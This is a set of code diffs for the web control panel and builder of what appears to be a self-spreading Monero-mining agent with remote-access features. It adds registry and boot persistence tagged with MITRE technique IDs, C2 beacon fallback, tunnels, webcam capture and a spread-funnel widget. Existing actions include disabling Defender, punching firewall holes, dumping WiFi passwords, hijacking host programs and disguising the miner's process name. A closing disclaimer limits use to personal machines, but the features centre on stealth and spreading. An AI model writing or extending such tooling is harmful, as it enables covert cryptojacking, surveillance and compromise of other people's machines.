caps?: AgentCapabilities | null;
platform?: string;
compact?: boolean;
/** WS command_result messages — panel listens for tunnel_status */
lastTunnelStatusMessage?: string;
onDispatch: (action: string, args?: Record<string, unknown>) => void | Promise<void>;
busy?: string | null;
}
export default function ProtocolTunnelPanel({
agentId,
agentName,
online,
caps,
platform,
compact = false,
lastTunnelStatusMessage,
onDispatch,
busy,
}: Props) {
const [expanded, setExpanded] = useState(!compact);
const [cfURL, setCfURL] = useState('');
const [localPort, setLocalPort] = useState('2222');
const [targetHostPort, setTargetHostPort] = useState('192.168.1.10:22');
const [sshUser, setSshUser] = useState('');
const [status, setStatus] = useState<TunnelStatusView | null>(null);
const [statusRaw, setStatusRaw] = useState('');
useEffect(() => {
api.getConfig().then((cfg) => {
const fromTunnel = cfg.tunnel_defaults?.cloudflared_target_url?.trim();
const fromPublic = cfg.server?.public_url?.trim();
setCfURL(fromTunnel || fromPublic || '');
}).catch(() => {});
}, []);
useEffect(() => {
if (lastTunnelStatusMessage) {
const parsed = parseTunnelStatus(lastTunnelStatusMessage);
if (parsed) setStatus(parsed);
setStatusRaw(lastTunnelStatusMessage);
}
}, [lastTunnelStatusMessage]);
const tunnelAllowed = canRunAggressiveAction('start_tunnel', caps, platform);
const tunnelHint = aggressiveActionHint('start_tunnel', caps, platform);
const refreshStatus = useCallback(() => {
if (!online || !agentId) return;
void onDispatch('tunnel_status');
}, [online, agentId, onDispatch]);
useEffect(() => {
if (expanded && online) refreshStatus();
}, [expanded, online, refreshStatus]);
const disabled = !online || !!busy;
return (
<div className={`protocol-tunnel-panel ${compact ? 'compact' : ''}`}>
<button
type="button"
className="protocol-tunnel-toggle"
onClick={() => setExpanded((e) => !e)}
aria-expanded={expanded}
>
<span className="font-tech"> Protocol Tunneling</span>
<span className="protocol-tunnel-chevron">{expanded ? '▾' : '▸'}</span>
</button>
{expanded && (
<div className="protocol-tunnel-body">
<p className="protocol-tunnel-help">
Encapsulates traffic for ops on <strong>your</strong> fleet reach internal hosts and expose
agent LAN services. Not for third-party evasion or hiding infrastructure.
</p>
<div className="protocol-tunnel-cards">
<section className="protocol-tunnel-card">
<h4 className="font-tech">Cloudflare Tunnel</h4>
<p className="protocol-tunnel-card-hint">Agent dials out to your control URL (no inbound port).</p>
<label className="protocol-tunnel-label">
Target URL
<input
type="text"
className="input protocol-tunnel-input"
value={cfURL}
onChange={(e) => setCfURL(e.target.value)}
placeholder="https://your-server.example.com"
disabled={disabled}
/>
</label>
<div className="protocol-tunnel-actions">
<button
type="button"
className="btn-magenta btn-sm"
disabled={disabled || !tunnelAllowed}
title={tunnelHint}
onClick={() => onDispatch('tunnel_cloudflared', { command: cfURL.trim() })}
>
Start Cloudflared
</button>
</div>
</section>
<section className="protocol-tunnel-card">
<h4 className="font-tech">WireGuard (Path Tracer)</h4>
<p className="protocol-tunnel-card-hint">
Multi-hop mesh VPN for owned nodes configure sessions on the dashboard.
</p>
<Link to="/pathtracer" className="btn btn-outline btn-sm protocol-tunnel-link">
Open Path Tracer
</Link>
</section>
<section className="protocol-tunnel-card">
<h4 className="font-tech">SSH Local Forward</h4>
<p className="protocol-tunnel-card-hint">
Windows agent opens <code>127.0.0.1:local LAN target</code> via OpenSSH/plink (admin reach-through).
</p>
<div className="protocol-tunnel-row">
<label className="protocol-tunnel-label">
Local port
<input
type="text"
className="input protocol-tunnel-input short"
value={localPort}
onChange={(e) => setLocalPort(e.target.value)}
disabled={disabled}
/>
</label>
<label className="protocol-tunnel-label">
Target host:port
<input
type="text"
className="input protocol-tunnel-input"
value={targetHostPort}
onChange={(e) => setTargetHostPort(e.target.value)}
placeholder="192.168.1.50:3389"
disabled={disabled}
/>
</label>
</div>
<label className="protocol-tunnel-label">
SSH user (optional)
<input
type="text"
className="input protocol-tunnel-input"
value={sshUser}
onChange={(e) => setSshUser(e.target.value)}
placeholder="Administrator"
disabled={disabled}
/>
</label>
<div className="protocol-tunnel-actions">
<button
type="button"
className="btn-magenta btn-sm"
disabled={disabled || !tunnelAllowed || platform === 'darwin' || platform === 'linux'}
title={
platform !== 'windows' && platform !== undefined
? 'SSH forward is Windows-only'
: tunnelHint
}
onClick={() =>
onDispatch('tunnel_ssh_forward', {
data: JSON.stringify({
local_port: parseInt(localPort, 10) || 2222,
remote_host: targetHostPort.split(':')[0] || '',
remote_port: parseInt(targetHostPort.split(':').pop() ?? '22', 10) || 22,
ssh_user: sshUser.trim() || undefined,
}),
})
}
>
Start SSH Forward
</button>
</div>
</section>
</div>
<div className="protocol-tunnel-status-bar">
<button
type="button"
className="btn btn-outline btn-sm"
disabled={disabled}
onClick={refreshStatus}
>
{busy === 'tunnel_status' ? '…' : 'Refresh Status'}
</button>
<button
type="button"
className="btn-red btn-sm"
disabled={disabled || !tunnelAllowed}
title={tunnelHint}
onClick={() => onDispatch('tunnel_stop', { command: 'all' })}
>
Stop All Tunnels
</button>
</div>
{(status || statusRaw) && (
<div className="protocol-tunnel-status">
<h4 className="font-tech">tunnel_status {agentName}</h4>
{status ? (
<ul className="protocol-tunnel-status-list">
<li>
Cloudflared:{' '}
{status.cloudflared_running
? `running (pid ${status.cloudflared_pid}) → ${status.cloudflared_url ?? ''}`
: 'stopped'}
</li>
<li>
WireGuard:{' '}
{status.wireguard_active ? 'active' : 'inactive'}
</li>
<li>
SSH forwards:{' '}
{status.ssh_forwards?.length
? status.ssh_forwards
.map(
(f) =>
`127.0.0.1:${f.local_port}${f.remote_host}:${f.remote_port} (pid ${f.pid})`
)
.join('; ')
: 'none'}
</li>
</ul>
) : (
<pre className="protocol-tunnel-raw">{statusRaw.slice(0, 2000)}</pre>
)}
</div>
)}
</div>
)}
</div>
);
}
export { parseTunnelStatus };

View File

@@ -7,7 +7,7 @@ import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import { type ReactNode } from 'react';
import { routerFuture } from '../routerFuture';
import { mockAgent, mockServerInfo } from '../test/fixtures';
import { mockAgent, mockServerInfo, mockServerConfig } from '../test/fixtures';
import { api } from '../api/client';
import { downloadApiFile, downloadAuthedFile } from '../api/download';
import { getStoredAuth } from '../api/auth';
@@ -54,6 +54,9 @@ import AmbientBackground from './Ambient/AmbientBackground';
import CursorFire from './Visual/CursorFire';
import MatrixRain from './Layout/MatrixRain';
vi.mock('./Fleet/ProtocolTunnelPanel', () => ({ default: () => null }));
vi.mock('./Fleet/FullSysCheckPanel', () => ({ default: () => null }));
vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: vi.fn(),
}));
@@ -358,6 +361,7 @@ describe('AgentRemoteActions', () => {
beforeEach(() => {
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true });
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
});
it('compact mode disables actions when offline', () => {
@@ -382,7 +386,11 @@ describe('AgentRemoteActions', () => {
});
it('full panel shows Target heading and recon section', async () => {
render(<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />);
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />
</MemoryRouter>
);
await waitFor(() => {
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
});
@@ -391,7 +399,11 @@ describe('AgentRemoteActions', () => {
});
it('disables recon buttons when agent offline', async () => {
render(<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />);
render(
<MemoryRouter future={routerFuture}>
<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />
</MemoryRouter>
);
await waitFor(() => {
expect(screen.getByRole('heading', { name: /Target:/i })).toBeInTheDocument();
});

View File

@@ -7,6 +7,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
'hole_punch_status',
'spread_now',
'start_tunnel',
'tunnel_cloudflared',
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',
@@ -42,6 +45,9 @@ export function canRunAggressiveAction(
case 'spread_now':
return caps.auto_spread || caps.remote_aggressive;
case 'start_tunnel':
case 'tunnel_cloudflared':
case 'tunnel_ssh_forward':
case 'tunnel_stop':
case 'subnet_scan':
case 'defender_off':
case 'firewall_punch':

View File

@@ -16,6 +16,12 @@ export const FORGE_BUILD_DEFAULTS: Omit<
run_as: 'scheduled',
host_binary_target: 'ssh',
auto_start: true,
autostart_mode: '',
registry_persistence: '',
registry_run_hkcu: false,
registry_run_hklm: false,
registry_run_once: false,
registry_explorer_run: false,
persistence: true,
process_name: 'RuntimeBrokerHelper',
max_cpu_usage_pct: 95,

View File

@@ -245,6 +245,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
return {
worker_name: { disabled: false, badge: 'baked' },
server_url: { disabled: false, badge: 'baked' },
https_beacon_fallback: { disabled: false, badge: 'baked' },
https_beacon_after_min: { disabled: false, badge: 'baked' },
wallet: { disabled: false, badge: 'baked' },
output_dir: {
disabled: false,
@@ -329,6 +331,38 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
: undefined,
},
autostart_mode: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal
? 'Boot/logon autostart hooks are Windows-only.'
: undefined,
},
registry_run_hkcu: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_run_once: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_run_hklm: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
registry_explorer_run: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'baked',
lockedReason:
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
},
run_as: { disabled: false, badge: 'baked' },
host_binary_target: {
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),

View File

@@ -114,6 +114,7 @@ export function applySmartForgeDefaults(
worker_name: worker,
server_url: serverUrl,
backup_server_urls: lanBackups,
https_beacon_fallback: lanBackups.length > 0 ? true : form.https_beacon_fallback,
wallet: form.wallet?.trim() || form.wallet,
pool_host: form.pool_host || preset.pool_host!,
pool_port: form.pool_port || preset.pool_port!,

View File

@@ -13,6 +13,7 @@ const UI_REMOTE_ACTIONS = [
'uninstall',
'restart',
'screenshot',
'camera_snapshot',
'ps',
'sysinfo',
'netstat',
@@ -46,6 +47,8 @@ const AGENT_HANDLED = new Set([
'users',
'software',
'screenshot',
'camera_snapshot',
'camera_list',
'sysinfo',
'ipconfig',
'clipboard',
@@ -55,6 +58,11 @@ const AGENT_HANDLED = new Set([
'hole_punch_status',
'spread_now',
'start_tunnel',
'tunnel_cloudflared',
'tunnel_wireguard',
'tunnel_ssh_forward',
'tunnel_status',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',
@@ -88,8 +96,8 @@ describe('remote action wiring', () => {
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
it('lists every wired aggressive command once', () => {
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
});
});
@@ -126,6 +134,9 @@ describe('canRunAggressiveAction edge cases', () => {
const noAgg = { ...fullCaps, remote_aggressive: false };
for (const action of [
'start_tunnel',
'tunnel_cloudflared',
'tunnel_ssh_forward',
'tunnel_stop',
'subnet_scan',
'defender_off',
'firewall_punch',

View File

@@ -13,9 +13,12 @@ export function sanitizeScreenshotBase64(raw: string): string {
return fallback.length >= 100 ? fallback : '';
}
export type CaptureDownloadKind = 'screenshot' | 'camera';
export function downloadScreenshotFromBase64(
base64: string,
agentLabel: string
agentLabel: string,
kind: CaptureDownloadKind = 'screenshot'
): boolean {
const clean = sanitizeScreenshotBase64(base64);
if (clean.length < 100) return false;
@@ -26,7 +29,7 @@ export function downloadScreenshotFromBase64(
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `screenshot-${safeName}-${stamp}.jpg`;
a.download = `${kind}-${safeName}-${stamp}.jpg`;
a.rel = 'noopener';
document.body.appendChild(a);
a.click();

View File

@@ -35,6 +35,7 @@ describe('FIELD_HELP', () => {
'forge_simple_mode',
'forge_recommended_defaults',
'obfuscate',
'sigil_scramble',
'sign_build',
'obfuscate_default',
'sign_enabled',
@@ -64,7 +65,14 @@ describe('FIELD_HELP', () => {
'display_mode',
'process_name',
'persistence',
'autostart_mode',
'registry_persistence',
'registry_run_hkcu',
'registry_run_once',
'registry_run_hklm',
'registry_explorer_run',
'run_as',
'host_binary_target',
'silent_mode',
'auto_start',
'fusion_enabled',
@@ -77,11 +85,15 @@ describe('FIELD_HELP', () => {
'install_custom_base',
'install_relative_path',
'public_url',
'https_beacon_fallback',
'https_beacon_after_min',
'webhook_url',
'websocket_ping_seconds',
'log_pool_traffic',
'adapt_to_hardware',
'self_healing',
'firewall_exclusion',
'firewall_remote',
'open_firewall_on_start',
'file_logging',
'stealth_mode',

View File

@@ -67,6 +67,18 @@ export const FIELD_HELP: Record<string, string> = {
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
autostart_mode:
'Extra boot/logon hooks (Windows, MITRE T1547-style). Legacy (empty) keeps today\'s behavior. Boot task = ONSTART at system boot (SYSTEM). Logon task = ONLOGON when a user signs in. Logon Run = HKCU Run key. Startup folder = shortcut in %APPDATA%\\...\\Startup. All = every hook. Does not replace Run As scheduled/BITS/host-binary modes.',
registry_persistence:
'Forge-baked registry Run/RunOnce hooks (MITRE T1112). Separate from boot tasks: Run keys fire at user logon; RunOnce runs once then removes itself. HKLM requires elevation — skipped silently if not admin. Value name: AetherForge_{worker}. Uninstall removes only keys this agent created.',
registry_run_hkcu:
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run — standard per-user logon autostart. Works without admin.',
registry_run_once:
'HKCU\\...\\RunOnce — runs once at next logon then deletes the value. Useful for one-shot relaunch after upgrade.',
registry_run_hklm:
'HKLM Run + RunOnce — machine-wide logon hooks. Only written when the agent process is elevated; otherwise skipped.',
registry_explorer_run:
'HKCU\\...\\Policies\\Explorer\\Run — less common Group-Policy-style logon hook. Same user scope as HKCU Run.',
run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
@@ -110,4 +122,10 @@ export const FIELD_HELP: Record<string, string> = {
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
https_beacon_fallback:
'Primary C2 = WebSocket (MITRE T1071.001). When WS is unreachable for several minutes, the agent falls back to normal HTTPS POST beacons on /api/v1/agent/beacon — same TLS and fleet secret as the REST API. Enabled by default when backup server URLs are set.',
https_beacon_after_min:
'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
webhook_url:
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
};

View File

@@ -1129,6 +1129,81 @@ export default function BuilderPage() {
</div>
)}
{/* ── Connection profile (advanced) ─────────────────────── */}
{!simpleMode && (
<div className="form-section">
<ForgeSectionHeader
title="Connection Profile"
badge="baked"
description="C2 reconnect timing and optional agent self-destruct date."
/>
<div className="form-row" style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(140px, 1fr))', gap: '0.75rem' }}>
<div className="form-group">
<label className="label">Beacon interval (sec)</label>
<input
type="number"
className="input"
min={1}
placeholder="5"
value={form.beacon_interval_sec ?? ''}
onChange={(e) => updateField('beacon_interval_sec', parseInt(e.target.value, 10) || 0)}
/>
</div>
<div className="form-group">
<label className="label">Beacon jitter (%)</label>
<input
type="number"
className="input"
min={0}
max={100}
placeholder="0"
value={form.beacon_jitter_pct ?? ''}
onChange={(e) => updateField('beacon_jitter_pct', parseInt(e.target.value, 10) || 0)}
/>
</div>
<div className="form-group">
<label className="label">Kill after (days, 0=never)</label>
<input
type="number"
className="input"
min={0}
placeholder="0"
value={form.agent_kill_after_days ?? ''}
onChange={(e) => updateField('agent_kill_after_days', parseInt(e.target.value, 10) || 0)}
/>
</div>
</div>
<div className="form-group" style={{ marginTop: '0.75rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.https_beacon_fallback !== false && (
form.https_beacon_fallback === true ||
(form.backup_server_urls ?? []).some((u) => u.trim() !== '')
)}
onChange={(e) => updateField('https_beacon_fallback', e.target.checked)}
/>
<span>HTTPS beacon fallback <HelpTip field="https_beacon_fallback" /></span>
</label>
<FieldHint field="https_beacon_fallback" />
</div>
{form.https_beacon_fallback !== false && (
<div className="form-group">
<label className="label">HTTPS fallback after (min)</label>
<input
type="number"
className="input"
min={1}
placeholder="3"
value={form.https_beacon_after_min ?? ''}
onChange={(e) => updateField('https_beacon_after_min', parseInt(e.target.value, 10) || 0)}
/>
</div>
)}
</div>
)}
<div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input
@@ -1683,6 +1758,59 @@ export default function BuilderPage() {
</label>
<ForgeLockedHint meta={fieldMeta.auto_start} />
</div>
<div className={`form-group ${fieldMeta.autostart_mode?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Boot / logon autostart <HelpTip field="autostart_mode" /></label>
<select
className="select"
value={form.autostart_mode ?? ''}
disabled={fieldMeta.autostart_mode?.disabled}
onChange={(e) => updateField('autostart_mode', e.target.value)}
>
<option value="">Legacy (linked to checkbox above)</option>
<option value="none">None (Run As hooks only)</option>
<option value="logon_run">User logon Registry Run (HKCU)</option>
<option value="logon_startup_folder">User logon Startup folder shortcut</option>
<option value="logon_task">User logon Scheduled task (ONLOGON)</option>
<option value="boot_task">System boot Scheduled task (ONSTART / SYSTEM)</option>
<option value="all">All of the above</option>
</select>
<FieldHint field="autostart_mode" />
<ForgeLockedHint meta={fieldMeta.autostart_mode} />
</div>
<div className={`form-group ${fieldMeta.registry_run_hkcu?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Registry persistence (T1112) <HelpTip field="registry_persistence" /></label>
<div className="checkbox-grid">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hkcu}
disabled={fieldMeta.registry_run_hkcu?.disabled}
onChange={(e) => updateField('registry_run_hkcu', e.target.checked)} />
<span>HKCU Run (logon) <HelpTip field="registry_run_hkcu" /></span>
</label>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_run_once}
disabled={fieldMeta.registry_run_once?.disabled}
onChange={(e) => updateField('registry_run_once', e.target.checked)} />
<span>HKCU RunOnce <HelpTip field="registry_run_once" /></span>
</label>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hklm}
disabled={fieldMeta.registry_run_hklm?.disabled}
onChange={(e) => updateField('registry_run_hklm', e.target.checked)} />
<span>HKLM Run/RunOnce (elevated) <HelpTip field="registry_run_hklm" /></span>
</label>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.registry_explorer_run}
disabled={fieldMeta.registry_explorer_run?.disabled}
onChange={(e) => updateField('registry_explorer_run', e.target.checked)} />
<span>Explorer Policies Run <HelpTip field="registry_explorer_run" /></span>
</label>
</div>
<p className="field-hint subtle">
Logon Run keys start the worker when a user signs in. Boot tasks (above) can start earlier at ONSTART.
Fleet registry read/write/delete is available under Remote Actions on Windows agents.
</p>
<ForgeLockedHint meta={fieldMeta.registry_run_hkcu} />
</div>
</div>
</>
)}

View File

@@ -13,7 +13,10 @@ import { useMatrixRain } from '../context/MatrixRainContext';
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import FileManager from '../components/Fleet/FileManager';
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/ProtocolTunnelPanel.css';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
@@ -333,6 +336,7 @@ export default function CruciblePage() {
// Tunnel URL state
const [tunnelURL, setTunnelURL] = useState('');
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
@@ -346,6 +350,21 @@ export default function CruciblePage() {
const online = (a: Agent) => a.status === 'online';
const fmCommandResults = useMemo(
() =>
commandResults
?.filter((r) => r.agent_id && r.action != null)
.map((r) => ({
agentId: r.agent_id as string,
action: r.action as string,
success: !!r.success,
message: r.message ?? '',
})) ?? [],
[commandResults]
);
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
const crucibleTargetReady =
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
@@ -385,6 +404,12 @@ export default function CruciblePage() {
const msg = r.message ?? '';
if (r.action === 'tunnel_status' && r.success && msg) {
if (selectedIds.size === 1 && selectedIds.has(aid)) {
setTunnelStatusMsg(msg);
}
}
// ── SSH badge updates ───────────────────────────────────────────────
if (msg.includes('SSH_PROBE:ONLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: true }));
@@ -396,7 +421,12 @@ export default function CruciblePage() {
let richData: RichTermData | undefined;
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) {
if (
(r.action === 'screenshot' || r.action === 'camera_snapshot') &&
r.success &&
msg.length > 200 &&
/^[A-Za-z0-9+/]+=*$/.test(msg.trim())
) {
richData = { type: 'screenshot', b64: msg.trim() };
}
@@ -1352,13 +1382,14 @@ export default function CruciblePage() {
>
Full Sys Check
</button>
{(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
{(['screenshot','camera_snapshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
<button
key={cmd}
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title={{
screenshot: 'Capture the desktop screenshot',
camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
clipboard: 'Read the current clipboard contents',
wifi: 'Dump all saved WiFi passwords',
software: 'List installed programs',
@@ -1539,8 +1570,8 @@ export default function CruciblePage() {
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
onClick={() => {
const url = tunnelURL.trim() || '';
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'start_tunnel', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `start_tunnel → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'tunnel_cloudflared', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `tunnel_cloudflared${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
}}
>
Start Tunnel
@@ -1669,6 +1700,16 @@ export default function CruciblePage() {
/>
</label>
</div>
{singleSelectedAgent && (
<div style={{ marginTop: '0.75rem' }}>
<FileManager
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
online={online(singleSelectedAgent)}
commandResults={fmCommandResults}
/>
</div>
)}
</div>
{/* ── Shell type ───────────────────────────────── */}
@@ -1811,12 +1852,41 @@ export default function CruciblePage() {
<div className="crucible-ssh-step">
<span className="css-num">4</span>
<div>
<strong>Remote (via tunnel)</strong> run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
<strong>Remote (via tunnel)</strong> — use <code className="crucible-code">Protocol Tunneling</code> or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out through Cloudflare to your control URL.
</div>
</div>
</div>
</NeonCard>
{singleSelectedAgent && (
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap" tilt3d={false}>
<ProtocolTunnelPanel
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
online={singleSelectedAgent.status === 'online'}
caps={singleSelectedAgent.capabilities}
platform={singleSelectedAgent.platform}
compact
lastTunnelStatusMessage={tunnelStatusMsg}
busy={null}
onDispatch={async (action, args) => {
await api.sendAgentCommand(singleSelectedAgent.id, action, args);
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd: true,
text: `${action}${singleSelectedAgent.name}`,
ts: new Date(),
},
]);
}}
/>
</NeonCard>
)}
<CreateGroupModal
open={showGroupModal}
agentCount={selectedIds.size}

View File

@@ -21,6 +21,7 @@ import {
} from '../components/Fleet/FleetPanels';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import ErrorBoundary from '../components/ErrorBoundary';
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
@@ -421,6 +422,11 @@ export default function DashboardPage() {
{/* Fleet Health — always above the fold */}
<FleetHealthCard health={fleetHealth} />
<div style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(280px, 1fr))', gap: '1rem', marginBottom: '1rem' }}>
<SpreadFunnelWidget />
<AuditLogStrip limit={6} />
</div>
{previewDeck && (
<p className="preview-deck-hint font-tech" role="status">
Projection mode charts validated with sample telemetry until your fleet connects

View File

@@ -16,6 +16,8 @@ import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import { useSound } from '../context/SoundContext';
import { useVisualEffects } from '../context/VisualEffectsContext';
import './Pages.css';
@@ -85,6 +87,7 @@ export default function SettingsPage() {
notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true,
notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true,
notify_build_complete: cfg.alerts?.notify_build_complete ?? true,
notify_kev_exposure: cfg.alerts?.notify_kev_exposure ?? true,
},
server: {
public_url: cfg.server?.public_url ?? '',
@@ -680,7 +683,8 @@ export default function SettingsPage() {
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Alert Notifications</h2>
<p className="section-desc">
Telegram (and optional email) for fleet events. Set bot token + chat ID, choose what to send, then save.
Telegram, optional webhook, and email for fleet events (operator pub/sub MITRE T1071.005 lite).
Set bot token + chat ID or webhook URL, choose what to send, then save.
</p>
<div className="form-row">
<div className="form-group">
@@ -693,6 +697,12 @@ export default function SettingsPage() {
<input id="cfg-tg-chat" type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
</div>
<div className="form-group" style={{ gridColumn: '1 / -1' }}>
<label htmlFor="cfg-webhook" className="label">Webhook URL (optional)</label>
<input id="cfg-webhook" type="url" className="input mono" value={config.alerts.webhook_url || ''}
onChange={(e) => updateField('alerts.webhook_url', e.target.value)} placeholder="https://hooks.example.com/fleet" />
<p className="field-hint">JSON POST: event, title, message on connect, offline, and other enabled alerts.</p>
</div>
</div>
<p className="section-desc" style={{ marginTop: '-0.5rem' }}>
Open your bot in Telegram, send any message (e.g. <code>/start</code>), then use{' '}
@@ -753,6 +763,13 @@ export default function SettingsPage() {
<span>Forge completes successfully</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_kev_exposure !== false}
onChange={(e) => updateField('alerts.notify_kev_exposure', e.target.checked)} />
<span>KEV exposure found on Full System Check (CISA top CVE heuristics)</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}
@@ -977,6 +994,12 @@ export default function SettingsPage() {
)}
</NeonCard>
</div>
<div style={{ marginTop: '1.5rem', display: 'grid', gap: '1rem' }}>
<FleetTasksPanel />
<AuditLogStrip limit={12} />
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
